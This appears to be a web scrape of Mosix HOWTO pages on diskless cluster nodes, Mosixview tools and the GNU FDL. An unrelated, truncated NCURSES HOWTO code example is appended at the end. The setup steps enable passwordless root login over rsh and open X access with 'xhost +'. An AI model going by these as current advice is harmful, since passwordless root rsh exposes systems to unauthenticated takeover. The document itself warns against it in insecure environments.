     hardware ethernet 68:00:10:37:09:83;
     fixed-address firstslave;
     server-name "master";
}
Now you can start DHCP and NFS with their init scripts:
/etc/init.d/nfsserver start
/etc/init.d/dhcp start
You got it!! It is (nearly) ready now!

Boot your first-slave with the boot-floppy (again). It should work now. Shortly after recognizing its network-card the slave gets its ip-adress from the DHCP-server and its root-filesystem (and the rest) per NFS.

You should notice that modules included in the slave-kernel-config must exist on the master too, because the slaves are mounting the /lib-directory from the master. So they use the same modules (if any).

It will be easier to update or install additional libraries or applications if you mount as much as possible from the master. On the other hand if all slaves have their own complete filesystem in /tftpboot your cluster may be a bit faster because of not so many read/write hits on the NFS-server.

You have to add a .rhost file in /root (for user root) on each cluster-member which should look like this:

node1   root
node2   root
node3   root
....
You also have to enable remote-login per rsh in the /etc/inetd.conf. You should have these two lines in it

if your linux-distribution uses inetd:

shell   stream  tcp     nowait  root    /bin/mosrun mosrun -l -z /usr/sbin/tcpd in.rshd -L
login   stream  tcp     nowait  root    /bin/mosrun mosrun -l -z /usr/sbin/tcpd in.rlogind
And for xinetd:

service shell
{
socket_type     = stream
protocol        = tcp
wait            = no
user            = root
server          = /usr/sbin/in.rshd
server_args     = -L
}
service login
{
socket_type     = stream
protocol        = tcp
wait            = no
user            = root
server          = /usr/sbin/in.rlogind
server_args     = -n
}
You have to restart inetd afterwards so that it reads the new configuration.

/etc/init.d/inetd restart
or There may be another switch in your distribution-configuration-utility where you can configure the security of the system. Change it to "enable remote root login". Do not use this in insecure environments!!! Use SSH instead of RSH! You can use MOSIXVIEW with RSH or SSH. Configuring SSH for remote login without password is a bit tricky. Take a look at the "HOWTO use MOSIX/MOSIXVIEW with SSH?" at this website. If you want to copy files to a node in this diskless-cluster you have now two possibilities. You can use rcp or scp for copying remote or you can use just cp and copy files on the master to the cluster-filesystem of one node. The following two commands are equal:
rcp /etc/hosts 192.168.45.45./etc
cp /etc/hosts /tftpboot/192.168.45.45/etc/

Prev | Home | Next
Laptops and PCMCIA Cards | Up | Very large clusters


Very large clusters

The Mosix HOWTO
Prev Chapter 10. Special Cases Next

10.3. Very large clusters

Prev | Home | Next
Diskless nodes | Up | Common Problems


My processes won't migrate

The Mosix HOWTO
Prev Chapter 11. Common Problems Next

11.1. My processes won't migrate

Where to find the reason ... checking on /proc/

Prev | Home | Next
Common Problems | Up | setpe reports


setpe reports

The Mosix HOWTO
Prev Chapter 11. Common Problems Next

11.2. setpe reports

Prev | Home | Next
My processes won't migrate | Up | I don`t see all my nodes


I don`t see all my nodes

The Mosix HOWTO
Prev Chapter 11. Common Problems Next

11.3. I don`t see all my nodes

Prev | Home | Next
setpe reports | Up | Other Programs


mexec

The Mosix HOWTO
Prev Chapter 12. Other Programs Next

12.1. mexec

Prev | Home | Next
Other Programs | Up | mosixview


mosixview

The Mosix HOWTO
Prev Chapter 12. Other Programs Next

12.2. mosixview

12.2.1. Requirements for Mosixview

QT > 2.3.0 root rights ! rlogin and rsh (or ssh) to all cluster-nodes without password the MOSIX-tools mosctl, migrate, runon, iojob, cpujob ... (included in every MOSIX distribution)

12.2.2. Documentation on MOSIXVIEW

There is a full HTML-documentation on MOSIXVIEW included in every package (>=0.9). You find the startpage of the docu in your MOSIXVIEW installation directory in the following path: mosixview/mosixview/docs/en/index.html The RPM-packages have their installation directories in /usr/local/mosixview

12.2.3. Installation of the RPM-distribution

Download the latest version of MOSIXVIEW rpm-package for your linux-distribution Then just execute e.g.:
rpm -i mosixview-1.0.suse72.rpm
This will install the all binaries in /usr/bin To uninstall:
rpm -e mosixview
Installation of the source-distribution Download the latest version of MOSIXVIEW and unzip+untar the sources and copy the tarball to e.g. /usr/local/.
gunzip mosixview-1.0.tar.gz
tar -xvf mosixview-1.0.tar
Automatic setup-script Just cd to the mosixview-directory and execute
./setup [your_qt_2.3.x_installation_directory]
Manual compiling Set the QTDIR-Variable to your actual QT-Distribution, e.g.
export QTDIR=/usr/lib/qt-2.3.0  (for bash)
or
setenv QTDIR /usr/lib/qt-2.3.0          (for csh)
Hints : (from the testers of mosixview who compiled it on diffrent linux-distributions, thanks again) Create the link /usr/lib/qt pointing to your QT-2.3.x installation e.g. if QT-2.3.x is installed in /usr/local/qt-2.3.0
ln -s /usr/local/qt-2.3.0 /usr/lib/qt
Then you have to set the QTDIR environment variable to
export QTDIR=/usr/lib/qt        (for bash)
or
setenv QTDIR /usr/lib/qt                (for csh)
There is no need to "make clean" and delete config.cache and Makefile because all versions >= 0.6 are already contains "cleaned" source-code. That means there are no precompiled binaries any more and (maybe) less problems to compile by yourself! // (If compiling fails because of not finding qwidget.h, qobject.h or any other header files you have to delete the files config.cache and Makefile and then configure+make. (happens on my RedHat-Cluster)) // After that the rest should work fine:
./configure
make
then do the same in the subdirectory mosixcollector, mosixload and mosixview_client.
cd mosixcollector
./configure
make
cd ..
cd mosixload
./configure
make
cd ..
cd mosixmem
./configure
make
cd ..
cd mosixhistory
./configure
make
cd ..
cd mosixview_client
./configure
make
cd ..
Copy all binaries to /usr/bin
cp mosixview/mosixview /usr/bin
cp mosixview_client/mosixview_client/mosixview_client /usr/bin
cp mosixcollector/mosixcollector_daily_restart /usr/bin
cp mosixcollector/mosixcollector/mosixcollector /usr/bin
cp mosixload/mosixload/mosixload /usr/bin
cp mosixload/mosixload/mosixmem /usr/bin
cp mosixload/mosixload/mosixhistory /usr/bin
And the mosixcollector init-script to your init-directory e.g.
cp mosixcollector/mosixcollector.init /etc/init.d/mosixcollector
or
cp mosixcollector/mosixcollector.init /etc/rc.d/init.d/mosixcollector
Now copy the mosixview_client binary on each of your cluster-nodes to /usr/bin/mosixview_client
rcp mosixview_client/mosixview_client your_node:/usr/bin/mosixview_client
You can now execute mosixview (cd .. to quit the subdirectory mosixview_client)
./mosixview/mosixview
(do not use the & to force mosixview in the background!) If the "make install" fails just copy the mosixview binary wherever you want or create a symbolic link from /usr/bin/install (or wherever install is) to /usr/bin/ginstall and "make install" again.

12.2.4. the main window

This picture shows the main application-window of MOSIXVIEW. The function will be explained in the following HowTo. (Click to enlarge)

MOSIXVIEW reads the /etc/mosix.map at startup and builds a raw with a lamp, a button, a slider, a lcd-number two progressbars and a some labels for each cluster-member. The green lights at the left are displaying the MOSIX-Id and the status of the cluster-node. Red if down, green for avaiable. The status can set to autorefresh with the checkbox like the other dynamic objects. If you click on a button displaying an host-name (or ip) a configuration-dialog will pop up. It default shows the MOSIX-Name and some buttons to execute the most common used "mosctl"-commands. (described later in this HowTo) Use the "nslookup-checkbox" to get even hostname+ip in the config-dialog. Do not enable this option if your cluster-nodes only have ip-adresses and no hostnames in DNS! With the "speed-sliders" you can set the MOSIX-speed for each host. The current speed is displayed by the lcd-number. The load-balancing of the whole cluster can be influenced by this values. Processes in a MOSIX-Cluster are migrating easier to a node with more MOSIX-speed than to nodes with less speed. Sure it is not the physically speed you can set but it the speed MOSIX "thinks" a node has. e.g. a cpu-intensive job on a cluster-node which speed is set to the lowest value of the whole cluster processes will search for a better processor for running on and migrate away easily. The progressbars in the middle gives an overview of the load on each cluster-member. It displays in percent so it does not represent exactly the load written to the file /proc/mosix/nodes/x/load (by MOSIX), but it should give an overview. The next progressbar is for the used memory the nodes. I shows the currently used memory in percent from the avaiable memory on the hosts (the label to the right displays the avaiable mem). How many CPUs your cluster have is written in the box to the right. The last line of the main windows contains a configuration button for "all-nodes". You can configure all nodes in your cluster similar by this option. How good the load-balancing works is displayed by the progressbar in the last line. 100% is very good and means that all nodes nearly have the same load.

12.2.5. the configuration-window

This dialog will popup if an "cluster-node"-button is clicked. If your all cluster-members have DNS-hostnames the "nslookup"-option in the main-window can set to "enabled". The hostname and the ip-adress will be shown, otherwise only the MOSIX-name will be displayed. The MOSIX-configuration of each host can be changed easily now. All commands will be executed per "rsh" or "ssh" on the remote hosts (even on the local node) so "root" has to "rsh" (or "ssh") to each host in the cluster without prompting for a password (it is well described in a beowulf documentation or on the HowTo's on this page how to configure it). The commands are:
automigration on/off
quiet yes/no
bring/lstay yes/no
exspel	yes/no
mosix start/stop

If the MOSIXVIEW-client is properly installed on the remote cluster-nodes click the "remote proc-box"-button to open the MOSIXVIEW-client (proc-box) from remote. xhost +hostname will be set and the display will point to your localhost. The client is executed on the remote also per "rsh" or "ssh". (the binary mosixview_client must be copied to e.g. /usr/bin on each host of the cluster) The MOSIXVIEW-client is a process-box for managing your programs. It is usefull to manage programs started and running local on the remote nodes. The client is also described later in this HowTo. If you are logged on your cluster from a remote workstation insert your local hostname in the edit-box below the "remote proc-box". Then the MOSIXVIEW-Client will be displayed on your workstation and not on the cluster-member you are logged on (maybe you have to set "xhost +clusternode" on your workstation). There is a history in the combo-box so you have to write the hostname only once.

12.2.6. the migrator-window

This dialog will popup if process from the processbox is clicked.

The MOSIXVIEW-migrator window displays all nodes in your MOSIX-cluster. This window is for managing one process (with additional status-information since version 0.7). By doubleclicking on an host from the list the process will migrate to this host. After a short moment the process-icon for the managed process will be green, which means it is running remote. The "home"-button sends the process to its home node. In this example the process already running local. With the "best"-button the process is send to the best avaiable node in your cluster. This migration is influenced by the load, speed, cpu's and what MOSIX "thinks" of each node. It maybe will migrate to the host with the most cpu's and/or the best speed. With the "kill"-button you can kill the process immediatly. To pause a program just click the "SIGSTOP"-button and to continue the "SIGCONT"-button. With the renice-slider below you can renice the current managed process (-20 means very fast, 0 normal and 20 very slow)

12.2.7. managing processes from remote

This dialog will popup if the "manage procs from remote"-button beneath the process-box is clicked This TabView displays processes that are migrated to the local host. The procs are coming from other nodes in your cluster and currently computed on the host mosixview is started on. Similar to the two buttons in the migrator-window the process is send home by the "goto home node"-button and send to the best avaiable node by the "goto best node"-button.

12.2.8. advanced-execution

If you want to start jobs on your cluster the "advanced execution"-dialog may help you.

Choose a program to start with the "run-prog" button (fileopen-icon) and you can specify how and where the job is started by this execution-dialog. There are several options to explain. the command-line You can specify additional commandline-arguments in the lineedit-widget on top of the window. how to start
-no migrationstart a local job which won't migrate
-run homestart a local job
-run onstart a job on the node you can choose with the "host-chooser"
-cpu jobstart a computation intensive job on a node (host-chooser)
-io jobstart a io intensive job on a node (host-chooser)
-no decaystart a job with no decay (host-chooser)
-slow decaystart a job with slow decay (host-chooser)
-fast decaystart a job with fast decay (host-chooser)
-parallelstart a job parallel on some or all node (special host-chooser)

12.2.9. the host-chooser

For all jobs you start non-local simple choose a host with the dial-widget. The MOSIX-id of the node is also displayed by a lcd-number. Then click execute to start the job. the parallel host-chooser You can set the first and last node with 2 spinboxes. Then the command will be executed an all nodes from the first node to the last node. You can also inverse this option.

12.2.10. the MOSIXVIEW-client

This process-box is really usefull for managing the processes running on your cluster. (MOSIXVIEW-client and the "local proc-box" are the same; you should install it on every cluster-node)

This processlist gives an overview what is running where. The second column displays the MOSIX-node ID of each process. 0 means local, all other values are remote nodes. Migrated processes are marked with a green icon and nonmoveable processes have a lock. By doubleclicking a process from the list the migrator-window will pop-up for managing e.g. migrating the process. If you click on the "manage procs from remote" button a new window will come up (the remote-procs windows) displaying the process currently migrated to this host. There are also options to send the remote processes away.

12.2.11. the MOSIXCOLLECTOR

The MOSIXCOLLECTOR is a daemon which should/could be started on one cluster-member. It logs the MOSIX-load of each node to the directory /tmp/mosixview/* These history log-files analyzed by MOSIXLOAD, MOSIXMEM and MOSIXHISTORY (as described later) gives an nonstop overview of the load, memory and processes in your cluster. There is one main log-file called /tmp/mosixview/mosix.load. Additional to this there are additional files in this directory to which the data is written. At startup MOSIXCOLLECTOR writes its PID (process id) to /tmp/mosixcollector.pid. It won't start if this file exist! The MOSIXCOLLECTOR-daemon restarts once a day (depending on when started) and saves the current history to /tmp/mosixview[date]/* These backups are done automatically but you can also trigger this manual. There is an option to write a checkpoint to the history. These checkpoints are graphically marked as a blue vertical line if you analyze the history log-files with MOSIXLOAD or MOSIXMEM. For example you can set a checkpoint when you start a job on your cluster and another one at the end.. Here is the explanation of the possible commandline-arguments:
mosixcollector -d//starts the collector as a daemon
mosixcollector -k//stops the collector
mosixcollector -c//stops the collector and deletes the history-files
mosixcollector -n//writes a checkpoint to the history
mosixcollector -r//saves the current history and starts a new one
mosixcollector -help//print out a short help
mosixcollector -h//print out a short help
You can start this daemon whith its init-script in /etc/init.d or /etc/rc.d/init.d. You just have to create a symbolic link to one of the runlevels for automatic startup. How to analyze the created logfiles is described in the following MOSIXLOAD-section.

12.2.12. MOSIXLOAD

This picture shows the graphical Log-Analyzer MOSIXLOAD

With MOSIXLOAD you can have a non-stop MOSIX-load history. The history log-files created by MOSIXCOLLECTOR are displayed in a graphically way so that you have a long-time overview what happened and happens on your cluster. MOSIXLOAD can analyze the current "online" logfiles but you can also open older backups of your MOSIXCOLLECTOR history logs by the filemenu. The logfiles are placed in /tmp/mosixview/* (the backups in /tmp/mosixview[date]/*) and you have to open only the main history file "mosix.load" to take a look at older load-informations. (the [date] in the backup directories for the log-files is the date the history is saved) The start time is displayed on the top/left and you have a full-day view in MOSIXLOAD (24 h). If you are using MOSIXLOAD for looking at "online"-logfiles (current history) you can enable the "refresh"-checkbox and the view will auto-refresh (or use the manual refresh-button). The load-lines are normally black if the load of one node is smaller 50. If the load increases to >50 the lines are drawn yellow and red if load is higher 80. These values are MOSIX-informations. MOSIXLOAD gets these informations from the files /proc/mosix/nodes/[mosix ID]/load. The X-button of each nodes calculates the nodes avarage MOSIX-load. Clicking it will open a small new window in which you get the avarage load-value and a graphic which displays it coloured (black ok, yellow critique, red alert). If there are checkpoints written to the load-history by the MOSIXCOLLECTOR they are displayed as a vertical blue line. You now can compare the load values at a certain moment much easier.

12.2.13. MOSIXMEM

This picture shows the graphical Log-Analyzer MOSIXMEM

With MOSIXMEM you can have a non-stop memory history similar to MOSIXLOAD. The history log-files created by MOSIXCOLLECTOR are displayed in a graphically way so that you have a long-time overview what happened and happens on your cluster. MOSIXMEM can analyze the current "online" logfiles but you can also open older backups of your MOSIXCOLLECTOR history logs by the filemenu. The logfiles are placed in /tmp/mosixview/* (the backups in /tmp/mosixview[date]/*) and you have to open only the main history file "mosix.load" to take a look at older load-informations. (the [date] in the backup directories for the log-files is the date the history is saved) The start time is displayed on the top/left and you have a full-day view in MOSIXMEM (24 h). If you are using MOSIXMEM for looking at "online"-logfiles (current history) you can enable the "refresh"-checkbox and the view will auto-refresh (or use the manual refresh-button). The displayed values are MOSIX-informations. MOSIXMEM gets these informations from the files
/proc/mosix/nodes/[mosix ID]/mem.
/proc/mosix/nodes/[mosix ID]/rmem.
/proc/mosix/nodes/[mosix ID]/tmem.
The X-button of each nodes calculates the nodes avarage MOSIX-mem. Clicking it will open a small new window in which you get the avarage mem-value. If there are checkpoints written to the load-history by the MOSIXCOLLECTOR they are displayed as a vertical blue line. You now can compare the load values at a certain moment much easier.

12.2.14. MosixHistory

MOSIXHISTORY displays the processlist from the past MOSIXHISTORY gives a detailed overview which process was running on which node. The MOSIXCOLLECTOR saves the processlist from the host the collector was started on every minute and you can browse this log-data with MOSIXHISTORY. You can easy change the browsing time in MOSIXHISTORY by the time-slider. The rest is nearly similar to MOSIXLOAD and MOSIXMEM. MOSIXHISTORY can analyze the current "online" logfiles but you can also open older backups of your MOSIXCOLLECTOR history logs by the filemenu. The logfiles are placed in /tmp/mosixview/* (the backups in /tmp/mosixview[date]/*) and you have to open only the main history file "mosix.load" to take a look at older load-informations. (the [date] in the backup directories for the log-files is the date the history is saved) The start time is displayed on the top/left and you have a full-day view in MOSIXHISTORY (24 h).

Prev | Home | Next
mexec | Up | mpi


mpi

The Mosix HOWTO
Prev Chapter 12. Other Programs Next

12.3. mpi

Prev | Home | Next
mosixview | Up | mps


mps

The Mosix HOWTO
Prev Chapter 12. Other Programs Next

12.4. mps

Prev | Home | Next
mpi | Up | pmake


pmake

The Mosix HOWTO
Prev Chapter 12. Other Programs Next

12.5. pmake

Prev | Home | Next
mps | Up | pvm


pvm

The Mosix HOWTO
Prev Chapter 12. Other Programs Next

12.6. pvm

Prev | Home | Next
pmake | Up | qps


qps

The Mosix HOWTO
Prev Chapter 12. Other Programs Next

12.7. qps

Prev | Home | Next
pvm | Up | Hints and Tips


Locked Processes

The Mosix HOWTO
Prev Chapter 13. Hints and Tips Next

13.1. Locked Processes

If for some reason you find your processes are always locked in your home node and you can't find the reason, you can put the following lines into your ~/.profile as a stop-gap measure to automatically enable migration:
        if [ -x /proc/$$/lock ]; then
           echo 0 > /proc/$$/lock
        fi
However, you should make an effort to find out what the problems is - see the Mosix FAQ at http://www.mosix.org for details.

Prev | Home | Next
Hints and Tips | Up | Choosing your processes


Choosing your processes

The Mosix HOWTO
Prev Chapter 13. Hints and Tips Next

13.2. Choosing your processes

You will probably want to test your setup before deciding which programs you want to enable migration for. For example, if you are running KDE2 on a slow machine and have a significantly faster machine has part of your Mosix cluster, you might find resource-hungry programs like kmail are migrated out. This is not a bad thing as such, however, it can lead to a brief moment when your writing is not displayed on the screen immediately.

Prev | Home | Next
Locked Processes | Up | More Info


Further Reading

The Mosix HOWTO
Prev Appendix A. More Info Next

A.1. Further Reading

Prev | Home | Next
More Info | Up | Links


Links

The Mosix HOWTO
Prev Appendix A. More Info Next

A.2. Links

Mosix Debian Howto Mosix Mandrake Linux Terminal Server Project

Prev | Home | Next
Further Reading | Up | Supporting Mosix


Supporting Mosix

The Mosix HOWTO
Prev Appendix A. More Info Next

A.3. Supporting Mosix

Prev | Home | Next
Links | Up | Credits


PREAMBLE

The Mosix HOWTO
Prev Appendix C. GNU Free Documentation License Next

0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

Prev | Home | Next
GNU Free Documentation License | Up | APPLICABILITY AND DEFINITIONS


APPLICABILITY AND DEFINITIONS

The Mosix HOWTO
Prev Appendix C. GNU Free Documentation License Next

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

Prev | Home | Next
PREAMBLE | Up | VERBATIM COPYING


VERBATIM COPYING

The Mosix HOWTO
Prev Appendix C. GNU Free Documentation License Next

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

Prev | Home | Next
APPLICABILITY AND DEFINITIONS | Up | COPYING IN QUANTITY


COPYING IN QUANTITY

The Mosix HOWTO
Prev Appendix C. GNU Free Documentation License Next

3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

Prev | Home | Next
VERBATIM COPYING | Up | MODIFICATIONS


MODIFICATIONS

The Mosix HOWTO
Prev Appendix C. GNU Free Documentation License Next

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

Prev | Home | Next
COPYING IN QUANTITY | Up | COMBINING DOCUMENTS


COMBINING DOCUMENTS

The Mosix HOWTO
Prev Appendix C. GNU Free Documentation License Next

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

Prev | Home | Next
MODIFICATIONS | Up | COLLECTIONS OF DOCUMENTS


COLLECTIONS OF DOCUMENTS

The Mosix HOWTO
Prev Appendix C. GNU Free Documentation License Next

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

Prev | Home | Next
COMBINING DOCUMENTS | Up | AGGREGATION WITH INDEPENDENT WORKS


AGGREGATION WITH INDEPENDENT WORKS

The Mosix HOWTO
Prev Appendix C. GNU Free Documentation License Next

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

Prev | Home | Next
COLLECTIONS OF DOCUMENTS | Up | TRANSLATION


TRANSLATION

The Mosix HOWTO
Prev Appendix C. GNU Free Documentation License Next

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

Prev | Home | Next
AGGREGATION WITH INDEPENDENT WORKS | Up | TERMINATION


TERMINATION

The Mosix HOWTO
Prev Appendix C. GNU Free Documentation License Next

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

Prev | Home | Next
TRANSLATION | Up | FUTURE REVISIONS OF THIS LICENSE


FUTURE REVISIONS OF THIS LICENSE

The Mosix HOWTO
Prev Appendix C. GNU Free Documentation License Next

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home | Next
TERMINATION | Up | How to use this License for your documents


Attributes

NCURSES Programming HOWTO
Prev Next

8. Attributes

We have seen an example of how attributes can be used to print characters with some special effects. Attributes, when set prudently, can present information in an easy, understandable manner. The following program takes a C file as input and prints the file with comments in bold. Scan through the code.

Example 5. A Simple Attributes example

/* File path: basics/simple_attr.c */
#include <ncurses.h>

int main(int argc, char *argv[])
{   int ch, prev;
    FILE *fp;
    int goto_prev = FALSE, y, x;

    if(argc != 2)
    {    printf("Usage: %s <a c file name>\n", argv[0]);
        exit(1);
    }
    fp = fopen(argv[1], "r");
    if(fp == NULL)
    {    perror("Cannot open input file");
        exit(1);
    }

    initscr();            /* Start curses mode */

    prev = EOF;
    while((ch = fgetc(fp)) != EOF)
    {    if(prev == '/' && ch == '*')
                /* If it is / and * then only switch bold on */
        {    attron(A_BOLD);
            goto_prev = TRUE;  /* Go to previous char / and print it in BOLD */
        }
        if(goto_prev == TRUE)
        {    getyx(stdscr, y, x);
            move(y, x - 1);
            printw("%c%c", '/', ch); /* The actual printing is done here */
            goto_prev = FALSE;       /* Set it to FALSE or every thing from
                                      * here will be / */
        }
        else
            printw("%c", ch);
        refresh();
